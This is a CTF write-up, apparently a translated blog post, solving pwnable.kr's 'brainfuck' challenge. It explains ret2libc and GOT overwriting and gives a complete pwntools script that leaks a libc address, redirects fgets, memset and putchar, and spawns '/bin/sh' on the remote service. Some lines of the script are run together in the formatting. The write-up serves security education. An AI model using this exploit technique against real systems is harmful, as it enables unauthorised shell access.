Problem solving with pwnable.kr 22 - brainfuck. Ret2libc attack

image






In this article, we will solve the 22nd task from the site pwnable.kr and find out the category of attacks that involve rewriting the address in the GOT to the address of the function we need from the library.



Organizational Information
Especially for those who want to learn something new and develop in any of the areas of information and computer security, I will write and talk about the following categories:



  • PWN;
  • cryptography (Crypto);
  • network technologies (Network);
  • reverse (Reverse Engineering);
  • steganography (Stegano);
  • search and exploitation of WEB vulnerabilities.


In addition to this, I will share my experience in computer forensics, analysis of malware and firmware, attacks on wireless networks and local area networks, conducting pentests and writing exploits.



So that you can find out about new articles, software and other information, I created a channel in Telegram and a group to discuss any issues in the field of ICD. Also, I will personally consider your personal requests, questions, suggestions and recommendations personally and will answer everyone .



All information is provided for educational purposes only. The author of this document does not bear any responsibility for any damage caused to anyone as a result of using knowledge and methods obtained as a result of studying this document.



Return to library attack



The return to library attack (Return-to-libc attack) is one of the types of computer attacks related to buffer overflows when the return address of a function on the stack is replaced by the address of another function in the program, and the parameters for the called function are written to the next part of the stack. This technique allows an attacker to perform any existing function in the library without the need to inject malicious code into the program.



Linux has a shared libc library that provides C and POSIX standard functions, such as system () for executing arbitrary commands. Similar libraries exist in the Windows family of OSs. Although an attacker can force a program to jump to any address, most programs use libc (linked to it), it has convenient functions for launching arbitrary commands. Therefore, the functions of the standard library are the most likely target of such exploits, which gave the name to the class of attacks.



Solution to the horcruxes quest



We begin the second section. I will say right away that it is more complicated than the first one and we are not provided with the source code of the applications. Do not forget about the discussion here . Let's get started.



Click on the icon with the signature brain fuck. They give us the address and port for connecting, the program itself, the libc library for it and explain that it is a brainfuck language emulator.



image



Download everything that they give us, check the binary. This is a 32-bit elf, so we decompile the program in IDA Pro.



image



There are no vulnerabilities in the main function. The allocation of memory and the number of characters entered in the variable s is controlled. Before this, the p pointer is initialized. Let's take a look at the brainfuck function.



image



This function is used for each character of the string we entered. It contains a sequence of actions, depending on the character. The full set of commands looks like this:





image



Thus, the solution to our task will occur through manipulating the pointer p. Find its starting address. In the main function, the address of the variable tape is entered in p, that is, 0x804a0a0.



image



At the same time, the got.plt section is located at 0x804a000, the addresses of the functions used are stored in the libc library. About GOT and PLT, I already wrote here .



image



Since by manipulating the pointer p we can get to GOT, we can implement an attack like ret2libc. To do this, we will need to rewrite the address of the function used to the address of the system () function from libc (we were even given a library).



Thus, the following attack vector emerges:



  1. rewrite the address fgets to the address of the system function;
  2. rewrite the memset address to gets;
  3. rewrite the putchar address to main.


What will come of this: after completing the actions indicated above, when the putchar function is called, the main function will be called, which will call gets instead of memset and read the string we entered onto the stack. After which, instead of fgets, a system will be called, which will take an argument from the stack (that is, the line we entered).



Let's implement this. First, create a template that contains the addresses of the pointer and functions:



from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_puts = 0x804a018 p_putchar = 0x804a030 p_main = 0x8048671
      
      





Now we’ll write a function that will shift the pointer to the number of steps we need:



 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n)
      
      





A function that reads 4 bytes:



 def readVar(): return ".>"*4 + "<"*4
      
      





A function that will accept and write 4 bytes:



 def writeVar(): return ",>"*4 + "<"*4
      
      





Now we write the load. It is simple - we move to the fgets address, read (later I will say why), rewrite ... We go to the memset address - we rewrite, we go to the putchar address - we rewrite. Everything is as in the idea.



 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.'
      
      





So why read the address of fgets? Since this is got.plt, we read the address of fgets to the associated libc library. Since we just have a libc library (unrelated), then subtracting the address of the same function in an unrelated library from the address of the function in the linked library, we will determine the base, that is, the address from which the library is linked by the m file (the beginning of the library code). Then adding to the base the offset of any function in an unrelated library, we will get to the address of this function in an already connected one. That is, we will call a function from the binary that was not even defined ...



So, this load will give us the address of the function in the linked library. Let's find her address in unlinked.



 libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets']
      
      





And now, given the server’s answers, we’ll find the database.



 r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc)
      
      





Now we get the addresses of other functions taking into account the base.



 system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets']
      
      





And we realize our idea.



 r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive()
      
      





Full code
 from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_memset = 0x804a02c p_putchar = 0x804a030 p_main = 0x8048671 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) def readVar(): return ".>"*4 + "<"*4 def writeVar(): return ",>"*4 + "<"*4 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive()
      
      







image



We get the desired flag and start the second part of the tasks on pwnable.kr.



image



You can join us on Telegram . Next time we’ll deal with heap overflow.



All Articles